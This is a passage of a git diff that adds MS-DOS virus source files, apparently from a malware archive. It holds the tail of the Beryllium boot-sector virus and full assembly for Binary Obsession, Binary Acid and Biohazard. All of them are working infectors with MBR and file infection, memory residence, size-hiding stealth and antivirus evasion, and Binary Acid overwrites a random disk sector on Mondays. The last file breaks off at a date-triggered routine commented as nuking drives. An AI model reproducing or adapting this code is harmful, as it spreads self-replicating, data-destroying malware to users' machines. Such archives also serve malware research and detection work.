ptr [offset sector-drop],02 ; sector) of virus in MBR's + ; viral bootstrap code + mov cx,oldlength ;set number of bytes to move + mov si,offset newbytes-drop ;set source address of infection code + mov di,bx ;set destination to MBR in memory + cld ;clear direction flag (fwd) + rep movsb ;infect MBR with bootstrap code + + mov ax,0301 ;write infected MBR to + inc cx ; cylinder 0, sector 1 + int 013 + +exit_dropper: + mov ax,04c00 ;terminate w/return code + int 021 ;terminate program + +;----------------------------------------------------------------------------- +; Beryllium - main body of virus, executes at boot, infects MBR if boot is +; from floppy and MBR is not infected, installs virus in memory if not +; installed +;----------------------------------------------------------------------------- + +beryllium: + xor ax,ax ;zero ax + mov ds,ax ;set ds = 0 + + cli ;clear interrupts + mov ss,ax ;set ss = 0 + mov bx,07c00 ;set bx to boot code offset + mov sp,bx ;ditto for sp + sti ;set interrupts + + cmp dl,080 ;is this a hard drive boot? + jne floppy_boot ;if not, jump to check/infect MBR + + mov ax,0201 ;if so, load orignal MBR to 7c00h + mov cx,03 ;cylinder 0, sector 3 + int 013 ;do it + + jmp short install ;install virus in memory + +floppy_boot: + mov si,offset oldbytes+boot ;load source offset of original bytes + mov di,07c3e ;load destination in boot sector code + mov cx,oldlength ;set number of bytes to move + push cx ;save it for later + cld ;clear direction (fwd) + rep movsb ;restore original bytes to boot sector + ;in memory + mov ax,0201 ;select read-one-sector function + mov bh,06 ;set load offset + inc cx ;cylinder 0, sector 1 (MBR) + mov dx,080 ;fixed disk 0 (C) + int 013 ;load MBR to 0:0600h + + cmp byte ptr [0611],virus_tag2 ;MBR infected? + je install ;if so, install virus in memory + + mov ax,0301 ;if not, save orig. MBR + mov cx,03 ;at cylinder 0, sector 3 + int 013 ;write MBR + + mov byte ptr [offset head+boot],dh ;save location (head & + mov byte ptr [offset sector+boot],02 ; sector) of virus in MBR's + ; viral bootstrap code + pop cx ;set number of bytes to move + mov si,offset newbytes+boot ;set source address of infection code + mov di,bx ;set destination to MBR in memory + rep movsb ;infect MBR + + mov ax,0302 ;select write-two-sectors function + inc cx ;cylinder 0, sector 1 + int 013 ;write infected MBR to sector 1 and + ;continuation of virus to sector 2 +install: + mov ah,035 ;load ah with installation check byte + int 013 ;check for installed virus + cmp al,ah ;al = ah? + je exec_boot ;if so, already installed, so jump to + ; execute boot code in memory + dec word ptr [0413] ;lower top-of-mem by 1KB + int 012 ;get conventional memory count in #KB + + mov cx,0106 ;load move and shift values + shl ax,cl ;calculate segment for virus residence + + mov es,ax ;load es with destination segment + xchg [013*4+2],ax ;steal int13 segment + mov [offset old13+boot+2],ax ;store original segment in virus + mov ax,offset int13-res ;load res. off. of virus int13 + xchg [013*4],ax ;steal int13 offset + mov [offset old13+boot],ax ;store original offset in virus + + mov si,0870 ;set source offset + mov di,0070 ;set destination offset + rep movsw ;move virus to es:0h (9fc0:0000h in + ; system w/640K conventional memory) +exec_boot: + jmp 0000:07c00 ;execute boot code + +;----------------------------------------------------------------------------- +; Int13 - responds to installation check from dropper and boot routines, +; provides MBR stealth and write-protection, infects floppy if not already +; infected and if no A-V monitor is present, provides floppy stealth +;----------------------------------------------------------------------------- + +chain_int13: + pop ds ;restore registers + pop di + pop si + jmp short virstop + db 078,078 ;Virstop "password" + +virstop: + db 0ea ;"jmp far" to location specified in + ; old13 +old13 dw ?, ? ;offset and segment of original int13 + ; handler +int13: + cmp ah,035 ;installation check? + jne MBR_stealth ;if not, continue + mov al,ah ;if so, put ah in al for confirmation + iret ; and return + +MBR_stealth: + push si ;preserve registers + push di + push ds + + cmp cx,01 ;track 0, sector 1? + jne chain_int13 ;if not, we're not interested + + cmp dx,080 ;head 0, fixed disk 0? + ja chain_int13 ;if above, exit + jb infect_floppy ;if below, must be floppy access + + cmp ah,03 ;write to fixed disk MBR? + je sim_IO ;if so, simulate write + + mov cl,03 ;point to relocated original MBR + call bios_int13 ;load it to disk I/O buffer + mov cl,01 ;restore cl to point to sector 1 + +sim_IO: + xor ah,ah ;clear ah and carry flag to simulate + clc ; succcessful write + +exit_int13: + pop ds ;restore registers + pop di + pop si + + retf 02 ;return to calling routine + +infect_floppy: + cmp ah,02 ;read request? + jne chain_int13 ;if not, exit + + cmp dl,01 ;floppy drive 'A' or 'B'? + ja chain_int13 ;if not, exit + + call bios_int13 ;read boot sector + jc exit_int13 ;if flag=fail, exit to retry + + cmp byte ptr es:[bx+04f],virus_tag2 ;boot sector infected? + je floppy_stealth ;if so, hide infection + + xor cx,cx ;zero cx + mov ds,cx ;point ds to system vector table + + cmp byte ptr [040*4+3],0c0 ;int40 pointing to ROM? + jb floppy_stealth ;if not, do not infect boot sector + + push bx ;preserve registers + push es + + push es + pop ds ;set ds = es + + push cs + pop es ;set es = cs + + lea si,[bx+03e] ;set source offset to boot sector + mov di,offset oldbytes-res ;set destination to code storage + mov cx,oldlength ;set number of bytes to move/save + push cx ;save that number for later + cld ;clear direction flag (fwd) + rep movsb ;store original boot code in virus + + mov [bx],03ceb ;put jump at start of boot code + + mov al,byte ptr [bx+016] ;load # sectors/FAT from BPB + mul byte ptr [bx+010] ;multiply by number of FATs + inc ax ;add boot sector to count + push ax ;save it for later + mov ax,[bx+011] ;load max. # of files from BPB + mov cl,04 ;divide by 16 to get # of root + shr ax,cl ; directory sectors + pop cx ;pop boot sector + FAT sector count + add cx,ax ;add # of directory sectors + sub cx,[bx+018] ;subtract # of sectors per track + ; to get target sector number + inc dh ;specify head 1 + mov cs:byte ptr [offset head-res],dh ;set newbytes head/sector + mov cs:byte ptr [offset sector-res],cl ; values to point to virus + + mov ax,0301 ;select write-one-sector function + xor bx,bx ;set offset to point to virus + call bios_int13 ;write virus to last root directory + ; sector + pop cx ;restore registers + pop es + pop bx + + push cs + pop ds ;set ds = cs + + mov si,offset newbytes-res ;point to infection code + lea di,[bx+03e] ;set destination to boot sector code + rep movsb ;infect boot sector in memory + + mov ax,0301 ;select write-one-sector function + inc cx ;track 0, sector 1 + dec dh ;head 0, drive "dl" + call bios_int13 ;write infected boot sector + +floppy_stealth: + push cs + pop ds ;set ds = cs + + mov si,offset oldbytes-res ;point to stored original boot code + lea di,[bx+03e] ;set destination to boot sector + mov cx,oldlength ;set number of bytes to move + cld ;clear direction flag (fwd) + rep movsb ;restore original bytes in memory + + inc cx ;restore cx to 0001h + + jmp short sim_IO ;return sanitized boot sector to + ; calling routine +bios_int13: + pushf ;push flags + cs: + call dword ptr [offset old13-res] ;call original int13 handler + ret + +;----------------------------------------------------------------------------- +; Newbytes - the only viral code that actually resides in the boot sector or +; MBR. Its purpose is simply to load the main body of the virus to 0000:0800 +; and to transfer control to it. This is the only area that would need to be +; modified to avoid anti-viral scan string detection. +;----------------------------------------------------------------------------- + +newbytes: + xor ax,ax ;zero ax + mov es,ax ;set es = 0 + mov ax,0201 ;select read-one-sector function + mov bx,0800 ;set disk I/O buffer offset + + db 0b9 ;"mov cx,00xx" +sector db ? ;sector number (xx) + db 00 ;track 0 + + db 0b6 ;"mov dh,xx" +head db ? ;head number (xx) + + int 013 ;load virus to 0000:0800h + + jmp 0000:0870 ;jump to execute virus code + +oldbytes: + db oldlength dup ? ;storage location for original first + ; 22d bytes of the boot sector + + db 0,0,'BERYLLIUM!',0,0 ;credits + +MBR_buffer: + +droplength equ offset MBR_buffer - offset decrypt +virlength equ offset MBR_buffer - offset beryllium +decryptlength equ offset MBR_buffer - offset dropper + + end beryllium diff --git a/MSDOS/Virus.MSDOS.Unknown.bin-obs.asm b/MSDOS/Virus.MSDOS.Unknown.bin-obs.asm new file mode 100644 index 00000000..03f024d9 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.bin-obs.asm @@ -0,0 +1,292 @@ +; ------------------------------------------------------------------------------ +; +; - Binary Obsession - +; Created by Immortal Riot's destructive development team +; (c) 1994 Metal Militia/Immortal Riot +; +; ------------------------------------------------------------------------------ +; ■ Undestructive Harddrive & COM-file infector ■ +; ------------------------------------------------------------------------------ + .model tiny + .code + .286 + org 100h + +start: + call get_delta_offset ; no comment needed (0e8h) +org_bytes: + db 3 dup (?) ; buffer for the 3 original + ; bytes +get_delta_offset: + + pop bp ; fix the delta offset + push cs + push ss + pop ax ; AX equals SS and + pop dx ; DX equals CS + + cmp dx,ax ; If they both equal, then + ; we're being executed from + ; a file.. + + jne were_on_harddrive ; Else it's from the harddrive + + mov dx,5945h ; Removes the VSAFE program + mov ax,0fa01h ; out of memory, this code is + int 21h ; detected now-a-days though + + lea bx,ss:[bp+600] ; offset a more or less 'buffer' + mov cx,1 ; 1 sector + + mov dx,80h ; from the harddrive + mov ax,201h ; read it (MBR) + int 13h + + + cmp byte ptr es:[bx],0E8h ; Is the MBR already infected? + jne infect_mbr ; if not, write ourselves there + jmp dont_infect_mbr ; else just get the fuck out + +infect_mbr: + + + mov cx,2 ; sector 2 + mov ax,301h ; write the MBR to it + int 13h + + + + lea si,[bp-3] + mov cx,virsize ; our viruscode + mov di,bx + rep movsb ; copy it over the 1 sector but + ; leave the partitiontable nice + ; and workable, totally intact + + mov cx,1 ; now write our virus code + mov ax,301h ; to the MBR now that we've + int 13h ; taken a "back-up" of it.. + +dont_infect_mbr: + + mov si,bp ; offset 3 first bytes + + mov di,100h + push di + movsb ; copy them back again + movsw + retn ; and then executed the + ; original program + + db "(c) Metal Militia/Immortal Riot" ; guess who? + +were_on_harddrive: + + xor ax,ax ; zero AX + mov ds,ax ; DS to AX + + mov si,7C00h + cli ; clear the interrupts + mov ss,ax + mov sp,si ; do the stack thing + sti ; store the interrupts + + + push ax + push si + sub word ptr ds:[413h],2 ; decrease available memory with + ; 2 kilobytes (only 1 needed?) + int 12h ; get number of kb's left + + mov cl,5 + add cl,1 + shl ax,cl + mov es,ax ; Convert the stuff into kb's + + + push cs + pop ds ; DS equals CS + + mov cx,(realend-start) ; Our viralcode + mov di,100h + lea si,[bp-3] + rep movsb ; Copy us up into the memory + + mov ds,cx ; DS to CX + xchg ds:[13h*4+2],ax ; Catch int13h and set it + mov ds:[0b6h*4+2],ax ; to become 0b6h instead + mov es:int13zwei,ax ; storage place + + mov ax,offset our13 ; Now offset our int13 instead + xchg ds:[13h*4],ax + mov ds:[0b6h*4],ax + mov es:int13uno,ax ; storage place + + mov ax,offset backtoorg ; 'call' our MBR part that does + push es ; a reading on the original and + push ax ; then jumps to it + retf ; return far + +backtoorg: + + pop bx + pop es + mov cx,2 ; sector 2 + mov dx,80h ; on harddrive (C: unit) + mov ax,201h ; read it and wait + int 0b6h + + db 0eah ; Now go jump to that spot in + dw 7c00h,0 ; order to execute the original + +our13: + push ax + push ds + sub ax,ax ; Zero out AX + mov ds,ax ; DS equals AX + + cmp word ptr es:[bx],5A4Dh ; .EXE files starting w/'MZ' ? + + + jne not_ready_right_now ; if not, retry until success + + cmp ds:[0e5h*4+2],ax ; Already in memory w/int21h? + jne not_ready_right_now ; If so, fuck it.. outa here! + + mov ax,cs + xchg ds:[21h*4+2],ax ; Else, catch it and exchange + mov ds:[0e5h*4+2],ax ; it with 0e5h instead.. + mov cs:int21zwei,ax ; Storage place + + mov ax,offset our21 ; And offset our int21 thingy + xchg ds:[21h*4],ax + mov ds:[0e5h*4],ax + mov cs:int21uno,ax ; Storage place + +not_ready_right_now: + + pop ds + pop ax + db 0eah ; Back to the original int13h +int13uno dw 0 ; Storage for the original +int13zwei dw 0 ; 13h interrupt + +our21: + + pusha + push ds + push es ; Save all registers + ; except for the stack ones + + cmp ax,4B00h ; Execution of a file? + je file_infect ; If so, lets go check it out + jmp computers_int21 ; else we're back to org21h + + +file_infect: + + mov ax,4301h ; Zero the attributes + sub cx,cx + int 0e5h ; first abuse of the new int21h + + mov ax,3D00h ; Open it up + int 0e5h + + xchg bx,ax ; mov bx,ax + + mov ax,1220h + int 2Fh + push bx + mov ax,1216h + mov bl,es:[di] + int 2Fh ; Point at the SFT thingy + pop bx + + or word ptr es:[di+2],2 ; set to read/write ability + push cs + pop ds + + mov ax,word ptr es:[di+0dh] ; read in date/time + mov cx,ax + + and cl,00001111b ; Is it seconds of our choice? + cmp cl,00000001b ; If not, lets infect it + je closeitup ; Yeah, lets freak out + + and al,11110000b ; Now set those bloody seconds + or al,00000001b + + mov f_time,ax ; Save file time + mov ax,es:[di+0fh] + mov f_date,ax ; and date + + mov cx,2 ; 3 bytes (2 here) + mov ah,3Fh ; Read in + inc cx ; plus one here + mov dx,offset org_bytes ; and offset to buffer + int 0e5h + + + xchg dx,si ; point at it + + cmp byte ptr [si],'M' ; Is it an .EXE file w/'M'? + je closeitup ; If so, leave it alone + + mov ax,es:[di+11h] ; Goto EOF with + mov dx,es:[di+13h] ; the help of + + mov es:[di+15h],ax ; using these instead of the + mov es:[di+17h],dx ; 4200h/4202h thingy + + dec ax ; dec ax + dec ax ; three + dec ax ; times + + mov byte ptr ds:jmp_x,231 ; jmp byte + inc jmp_x ; increase + inc jmp_x ; it twice + mov word ptr ds:jmp_x+1,ax ; and yet add one + + mov ah,30h ; Write to file (WTF 1/2) + mov cx,virsize ; Size of the viral code + mov dx,100h ; Offset the start + add ah,10h ; WTF 2/2 + int 0e5h + + xor ax,ax ; Goto SOF + mov es:[di+15h],ax + + mov ah,20h ; Write to file (WTF 1/2) + mov cx,2 ; 2 bytes + add ah,20h ; WTF 2/2 + inc cx ; plus another one + mov dx,offset jmp_x ; Offset the buffer + int 0e5h + + mov dx,f_date ; original date + mov cx,f_time ; original time + mov ax,5701h ; Restore them + int 0e5h + +closeitup: + mov ah,3Eh ; Close file + int 0e5h + +computers_int21: + pop es + pop ds + popa + db 0eah ; Jump back to original int21h +virend: + +int21uno dw ? ; Storage for the original +int21zwei dw ? ; 21h interrupt + +virsize equ virend-start + +f_date dw ? ; Storage place for +f_time dw ? ; file date/time + +jmp_x db 3 dup (?) ; JMP code buffer +realend: + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.bin_acid.asm b/MSDOS/Virus.MSDOS.Unknown.bin_acid.asm new file mode 100644 index 00000000..0052cc77 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.bin_acid.asm @@ -0,0 +1,357 @@ +;Binary Acid Virus +;by Evil Avatar +;Another lame virus by me. Then again, not bad for my second virus! +;This is a resident .COM/.EXE/.OV? infector that infects on file runs. +;It does hide the size change AND avoids CHKDSK and its ilk. +;Plenty more from me to come. Stay tuned. + +.model tiny ;if you are lost already, you +.code ;shouldn't be playing with viruses +org 0h + +v_mem equ (v_end-Acid+15)/16+1 +v_word equ (v_end-Acid)/2 +id equ 0a0ffh +v_file equ (heap-Acid) + +Acid: call next +next: pop bp + sub bp, offset next ;get delta offset + + mov ax, id + sub bx, bx + int 21h ;residentcy install check + + push es ;save PSP segment + cmp bx, id ;are we here already? + je check ;then exit + + mov ax, 3521h + int 21h ;get int 21h vector + mov word ptr [bp+save_21], bx + mov word ptr [bp+save_21+2], es ;save int 21h vector + + mov ax, ds ;ds=PSP segment + dec ax ;ax=MCB segment + mov es, ax ;es=MCB segment + cmp byte ptr es:[0], 'Z' ;is it last MCB in chain? + jne done ;no? exit + sub word ptr es:[3], v_mem ;allocate memory for virus + sub word ptr es:[12h], v_mem ;change TOM field in PSP + mov ax, es:[12h] ;find virus MCB segment + mov es, ax ;es=virus MCB segment + mov byte ptr es:[0], 'Z' ;mark as last in MCB chain + mov word ptr es:[1], 8 ;DOS now owns this + mov word ptr es:[3], v_mem-1 ;set the size of segment + inc ax ;ax=virus segment + mov es, ax ;es=virus segment + lea si, [bp+offset Acid] ;start of virus + sub di, di ;clear di + mov cx, v_word ;virus size in words + rep movsw ;copy virus to TOM + + push es + pop ds ;put segment in ds + mov ax, 2521h + mov dx, offset int21 + int 21h ;set new int 21h vector in virus + +check: pop es ;restore es + mov ah, 2ah + int 21h ;get date + cmp al, 1 ;is it a monday? + je destroy ;chew a sector +return: + cmp sp, 0abcdh ;is this an .exe file? + jne done ;no? restore com stuff + push es + pop ds + mov ax, es ;ax=PSP segment + add ax, 10h ;adjust for PSP size + add word ptr cs:[bp+comsave+2], ax ;set up cs + add ax, word ptr cs:[bp+_ss_sp+2] ;set up ss + cli ;clear ints for stack manipulation + mov ss, ax ;set ss + mov sp, word ptr [bp+_ss_sp] ;set sp + sti ;restore ints + db 0eah ;jump to old program +comsave db 0cdh, 20h, 0, 0 + +destroy: + in al, 40h + xchg al, ah + in al, 40h ;get a random number + xchg ax, dx + mov cx, 1 + mov ax, 2 + int 26h ;and crunch that sector + jmp return ;return to program + +done: push cs + pop ds ;ds=cs + push cs + pop es ;es=cs + + mov di, 100h ;beginning of program + push di ;for later return + lea si, [bp+comsave] ;first 3 bytes of program + movsb + movsw ;restore first 3 bytes + + ret ;return to program + +int21: cmp ax, id ;is this an installation check? + je vcheck ;yes? tell 'em we're here + push bx + push cx + push si + push di + push es + push dx + push ds ;save regs + push ax + cmp ah, 4bh ;hmm..execute huh? well, they + je v_com ;did it to themselves + cmp ah, 11h ;dir check + je dirfix + cmp ah, 12h ;dir check + je dirfix + pop ax + pop ds + pop dx +intpop: pop es + pop di + pop si + pop cx + pop bx ;restore regs + jmp dword ptr cs:[save_21] ;jump to DOS int 21h + +vcheck: xchg ax, bx ;put ID into bx + iret + +dirfix: pushf + call dword ptr cs:save_21 ;simulate int 21h call + + mov word ptr cs:[buffer], ax ;save return + push ax + push si + pushf ;save the new flags + mov si, sp + mov ax, [si] ;get new flags + mov [si+10], ax ;put them where old flags are + popf + pop si + pop ax + + test al, al ;see if file is found + jnz nofile ;if none, exit + + mov ah, 51h + int 21h ;get PSP segment + mov es, bx + cmp bx, es:[16h] ;is it DOS? + jne nofile ;no? avoid CHKDSK + + mov ah, 2fh + int 21h ;get DTA in es:bx + + cmp byte ptr ds:[bx], -1 ;is it extended FCB? + jne cont + add bx, 7 ;then add 7 to pointer +cont: mov cx, ds:[bx+17h] ;get time + and cx, 1fh ;get seconds + cmp cx, 1fh ;if not 62 secs then exit + jne nofile + + sub ds:[bx+1dh], v_file + sbb word ptr ds:[bx+1fh], 0 ;subtract virus size + +nofile: pop ax ;if you can read this + pop ds ;you don't need glasses + pop dx + pop es + pop di + pop si + pop cx + pop bx ;restore regs + mov ax, word ptr cs:[buffer] ;restore return type + iret + +v_com: push ds + push dx + push cs + pop ds + mov ax, 3524h + int 21h ;get critical error handler + mov word ptr [save_24], bx + mov word ptr [save_24+2], es ;save it + mov ax, 2524h + mov dx, offset int24 + int 21h ;set new critical error handler + pop dx + pop ds + push cs + pop es + + mov ax, 4300h + int 21h ;get attributes of file + push cx ;save attributes + mov ax, 4301h + sub cx, cx + int 21h ;clear attributes + jc booster + + mov ax, 3d02h + int 21h ;open file + xchg ax, bx ;put handle in bx + + push cs + pop ds ;ds=cs for all references + jmp past_booster +booster: ;i hate having to use these + pop cx + pop ax + pop ds + pop dx + push ax + jmp bad_file +text db 'KW' ;you'll never guess +past_booster: + mov ah, 3fh + mov cx, 1ah + mov dx, offset buffer + int 21h ;read first 1ah bytes + + mov ax, 5700h + int 21h ;get file time and date + mov word ptr [time], cx ;save time + mov word ptr [date], dx ;save date + and cx, 1fh ;get seconds + cmp cx, 1fh ;is it 62 secs? + je close ;already infected + + cmp word ptr [buffer], 'ZM' + je v_exe + cmp word ptr [buffer], 'MZ' + je v_exe ;if .exe file then infect it + + mov si, offset buffer + mov di, offset comsave + movsb + movsw ;move combytes to comsave + mov ax, 4202h + sub cx, cx + cwd + int 21h ;move pointer to EOF + + sub ax, 3 + mov byte ptr [buffer], 0e9h + mov word ptr [buffer+1], ax ;set up jump + +write_virus: + mov ah, 40h + mov cx, v_file + cwd + int 21h ;write virus to EOF + mov ax, 4200h + sub cx, cx + int 21h ;go to beginning of file + mov ah, 40h + mov cx, 1ah ;restore buffer size + mov dx, offset buffer + int 21h ;write header or jump + +sign: mov ax, 5701h + mov cx, word ptr [time] ;get time + or cx, 1fh ;set seconds to 62 + mov dx, word ptr [date] ;get date + int 21h ;set file time and date + +close: mov ah, 3eh + int 21h ;close file + + pop cx ;get attributes + pop ax + pop ds + pop dx ;get file name + push ax + mov ax, 4301h + int 21h ;restore attributes +bad_file: + push ds + push dx + mov ax, 2524h + lds dx, dword ptr cs:[save_24] + int 21h ;restore old int 24h + pop dx + pop ds + pop ax + jmp intpop ;return to caller + +v_exe: push bx + les ax, dword ptr [buffer+14h] ;get cs:ip in es:ax + mov word ptr [comsave], ax ;save ip + mov word ptr [comsave+2], es ;save cs + + les ax, dword ptr [buffer+0eh] ;get ss:sp + mov word ptr [_ss_sp], es ;save sp + mov word ptr [_ss_sp+2], ax ;save ss + + add word ptr [buffer+0ah], v_mem ;set new minimum memory requested + + mov ax, word ptr [buffer+8] ;get header size + mov cl, 10h + mul cl ;change to bytes + push ax ;save it + + mov ax, 4202h + sub cx, cx + cwd ;move file pointer to EOF + int 21h ;and get file size in dx:ax + + pop cx ;restore header size + push dx + push ax ;save file size + + sub ax, cx + sbb dx, 0 ;get new cs:ip + + mov word ptr [buffer+16h], dx ;save cs + mov word ptr [buffer+14h], ax ;save ip + + mov word ptr [buffer+0eh], dx ;save ss + mov word ptr [buffer+10h], 0abcdh ;save sp + + pop ax + pop dx ;get file size + add ax, (v_end-Acid) + adc dx, 0 ;add virus size + + mov cx, 200h + div cx ;convert to pages + push ax ;save it + or dx, dx ;is there a remainder? + je remainder ;yes? increment number of pages + inc ax +remainder: + mov word ptr [buffer+4], ax ;save number of pages + pop ax + and ah, 1 + mov word ptr [buffer+2], ax ;file size MOD 512 + pop bx + jmp write_virus + +int24: mov al, 3 ;fail the call + iret + +vname db '[Binary Acid]', 0 ;do you need this explained??? +author db '(c) 1994 Evil Avatar', 0 ;this is me (duh!) +_ss_sp dd ? ;stack pointer +heap: ;variables +save_21 dd ? ;int 21h entry +save_24 dd ? ;int 24h entry +time dw ? ;file time +date dw ? ;file date +buffer db 1ah dup (?) ;buffer +v_end: +end Acid diff --git a/MSDOS/Virus.MSDOS.Unknown.bio.asm b/MSDOS/Virus.MSDOS.Unknown.bio.asm new file mode 100644 index 00000000..7fb27ad4 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.bio.asm @@ -0,0 +1,341 @@ +virus segment + assume cs:virus,ds:virus,es:nothing + + org 100h +start: db 0E9h,02,00,90h,90h ; Jmp to vstart + +vstart equ $ + call code_start ; call codie_startie +code_start: + pop si + sub si,offset code_start ; so we can use the lea command etc + jmp code_continue + + db '!BIOHAZARD!' ; Lil' poem (?) + db 'U Found ME!' ; of mine + +code_continue: + mov bp,si ; Now, put bp in si instead so bp's used + jmp load ; Jmp and go resident + +old_21 dd ? ; Old int21 interrupt saved here + +new_21: ; Our own, new one int21 + cmp ax,4b00h ; Is a file being executed + je exec1 ; If so, damn it! INFECT! + +dir_thang: + cmp ah,11h ; Find first + je hide_size ; Use stealth + cmp ah,12h ; Find next + je hide_size ; Use stealth + cmp ax,3030h ; Another copy trying to go resident? + jne do_old ; If not, do the old int21 thang + mov bx,3030h ; Show that we're already resident +do_old: jmp dword ptr cs:[(old_21-vstart)] ; Jmp old int21 +exec1: jmp exec ; Try to infect +do_dir: jmp dword ptr cs:[(old_21-vstart)] ; See do_old + ret ; But return back + +hide_size: + pushf + push cs + call do_dir ; get FCB (current) + cmp al,00h ; Is DIR being used (?) + jz undocumented_get_FCB ; If so, go on + jmp dir_error ; If not, get the fuck + ; outa this place man +undocumented_get_FCB: + push ax ; push + push bx ; push + push es ; push (gaak! no pops) + mov ah,51h ; get FCB (location) + int 21h ; figure it out + mov es,bx ; get FCB (info) + cmp bx,es:[16h] ; check it + je fix_it_up ; if so, move on + jmp not_inf + +fix_it_up: + mov bx,dx ; fixup + mov al,[bx] ; some + push ax ; shit + mov ah,2fh ; get the DTA + int 21h ; yeah, you do that + pop ax ; atlast, pop me babe + inc al ; check FCB (extended) + jz add_it ; ok, move on + jmp normal_fcb ; jmp normal_fcb + +add_it: + add bx,7h ; yes, add it.. go ahead +normal_fcb: + mov ax,es:[bx+17h] + and ax,1fh + xor al,01h ; are the file's seconds + jz go_on_and_do_it_strong ; equal to "2"? + jmp not_inf ; If so, outa here + +go_on_and_do_it_strong: + and byte ptr es:[bx+17h],0e0h ; subtract the size + sub es:[bx+1dh],(vend-vstart) ; how much? (*.*) + sbb es:[bx+1fh],ax ; yet another stealthed +not_inf:pop es ; we will.. + pop bx ; we will.. + pop ax ; pop you! pop you! + +dir_error: + iret ; return to the one who + ; called this thang +exec: + push ax ; push the stuff needed + push bx ; (as normally) + push cx + push dx + push di + push si + push ds + push es + +infect: + mov ax,3d02h ; Open the file being + int 21h ; executed do that! + jc fuckitall ; If error, get the fuck + ; out! + + xchg ax,bx ; or.. mov bx,ax + + push ds ; pusha + push cs ; push + pop ds ; pop! + + mov ah,3fh ; Read from file + mov dx,(buffer-vstart) ; put in our buffer + mov cx,5h ; how much to read + int 21h ; do that + jc fuckitall ; If error, fuck it! + + + cmp word ptr cs:[(buffer-vstart)],5A4Dh ; Is it an .EXE? + je fuckitall ; If so, outa here.. + + cmp word ptr cs:[(buffer-vstart)],4D5Ah ; The other form? + je fuckitall ; (can be MZ or ZM) + ; If so, outa here + cmp word ptr cs:[(buffer-vstart)+3],9090h ; Ok, is it + je fuckitall ; infect? If so, + ; outa here + jmp next ; Move on.. + +fuckitall: + jmp homey2 ; Something screwed, + ; outa dis thang.. +next: + + mov ax,5700h ; Get date/time + int 21h ; int me baaaabe! + + mov word ptr cs:[(old_time-vstart)],cx ; save time + mov word ptr cs:[(old_date-vstart)],dx ; save date + + mov ax,4202h ; ftpr to end + mov cx,0 ; get ftpr (filesize) + cwd ; or.. xor dx,dx + int 21h + jc fuckitall ; if error, fuck it! + mov cx,ax ; mov cx to ax + sub cx,3 ; for the jmp + jmp save_rest_of_len + db 'BIOHAZARD VIRUS - INV. EVIL ALTER - THE WРТ$ИL!' + +save_rest_of_len: + mov word ptr cs:[(jump_add+1-vstart)],cx ; save jmp length + + mov ah,40h ; write to file + mov cx,(vend-vstart) ; the virus + cwd ; from start + int 21h ; atlast the fun part + jnc fpointer ; no error(s), go on + jc homey ; fuck it! + +fpointer: + mov ax,4200h ; move file pointer + mov cx,0 ; to the beginning + cwd + int 21h + + + mov ah,40h ; write the JMP the + mov cx, 5 ; the file (5 bytes) + mov dx,(jump_add-vstart) ; offset jump thang + int 21h + + jc homey ; if error, fuck it! + + mov ax,5701h ; restore old + mov word ptr cx,cs:[(old_time-vstart)] ; date/time + mov word ptr dx,cs:[(old_date-vstart)] + + and cl,0e0H ; chance the file's + inc cl ; seconds to "2" for + int 21h ; stealth "marker" + + + mov ah,3eh ; close thisone + int 21h + + +homey: jmp homey2 ; outa here + db ' HEY HEY TO ALL A/V LAMERS!! HA!' ; dedication note + +homey2: pop ds ; pop + pop es ; pop + pop ds ; pop + pop si ; pop + pop di ; pop + pop dx ; pop + pop cx ; pop + pop bx ; pop + pop ax ; new virus-name + ; popcorn virus? + jmp dword ptr cs:[(old_21-vstart)] ; heading for old + ; int21 +old_date dw 0 ; date/time +old_time dw 0 ; saving place + + +buffer: db 0cdh,20h,00 ; our lil' buffer +buffer2 db 0,0 ; plus these two +jump_add: db 0E9h,00,00,90h,90h; ; what we put instead + ; of org. jmp +exit2: jmp date_check ; get outa here + +load: mov ax,3030h ; Are we already in + int 21h ; this users memory + cmp bx,3030h ; well, check it! + je exit2 ; if so, outa here + + +dec_here: + push cs ; push + pop ds ; pop + + mov ah,4ah ; req. very much mem + mov bx,0ffffh ; ret's largest size + int 21h + + mov ah,4ah ; ok, so now we + sub bx,(vend-vstart+15)/16+1 ; subtract the size of + jnc intme ; of our virus. If no + jmp exit2 ; error go on, else + ; fuck it +intme: + int 21h ; int me! int me! + + mov ah,48h + mov bx,(vend-vstart+15)/16 ; req. last pages + int 21h ; allocate to the virus + jnc decme ; no error, go on + jmp exit2 ; les get outa dis place + +decme: + dec ax ; oh? a dec, no push/pop + ; how glad i am :) + push es ; blurk! yet another push + + mov es,ax ; set es to ax + jmp dos_own ; carry on comrade + db ' Greets to B-real!/IR ' ; greetings to our + ; latest member, a +dos_own: ; friend of mine + mov byte ptr es:[0],'Z' ; this memory will + mov word ptr es:[1],8 ; have DOS as it's + ; owner + inc ax ; opposite of dec, eh? + ; yet another new-commer + lea si,[bp+offset vstart] ; copy to memory + mov di,0 ; (new block) xor di,di + jmp copy_rest ; go on + db ' Well, The WРТz is back, and he has an attitude!' ; lil' + +copy_rest: + mov es,ax ; es as ax + mov cx,(vend-vstart+5)/2 ; the whole thing + cld ; bytes, clr direction + rep movsw + jmp make_res ; now, make it resident + db 'Quit reading the code, yes, this is a fucking virus!'; thang + +make_res: + xor ax,ax ; atlast! + mov ds,ax ; put all shit to memory + push ds ; don't push me around :) + lds ax,ds:[21h*4] ; vectorswapping + jmp swap_sect ; (manually!) + db ' Catch me, Dare ya!' ; by Snoop 'n Dre. + +swap_sect: + mov word ptr es:[old_21-vstart],ax ; where's our old int21 + mov word ptr es:[old_21-vstart+2],ds ; stored? well see here + pop ds + mov word ptr ds:[21h*4],(new_21-vstart) ; point to our virus + mov ds:[21h*4+2],es ; instead of old21 + + push cs ; no cmt. + pop ds ; to much 'bout 'em + ; today, eh? :) + +exit: + push cs ; no cmt. + pop es ; see above + + mov cx,5 ; five bytes + jmp copyback ; keep on moving.. + db ' The WРТ$ИL!!!!' ; To the girl i love +copyback: + mov si,offset buffer ; copy back org. jmp + add si,bp ; and run the org. proggy + jmp movdi_it ; yeah, les do that + db ' Are you done yet??? ' ; Lisa, the one and only + +DATE_CHECK: + mov ah,2aH ;gET DATE INFO + int 21h ;cALL dos + cmp dl,31 ;cHECK TO SEE IF IT IS THE 4TH + jge MULTIPLEX ;iF YES, THEN NUKE DRIVES a:-z: + jmp exit ;iF NOT, THEN GO ON WITH INFECTION + 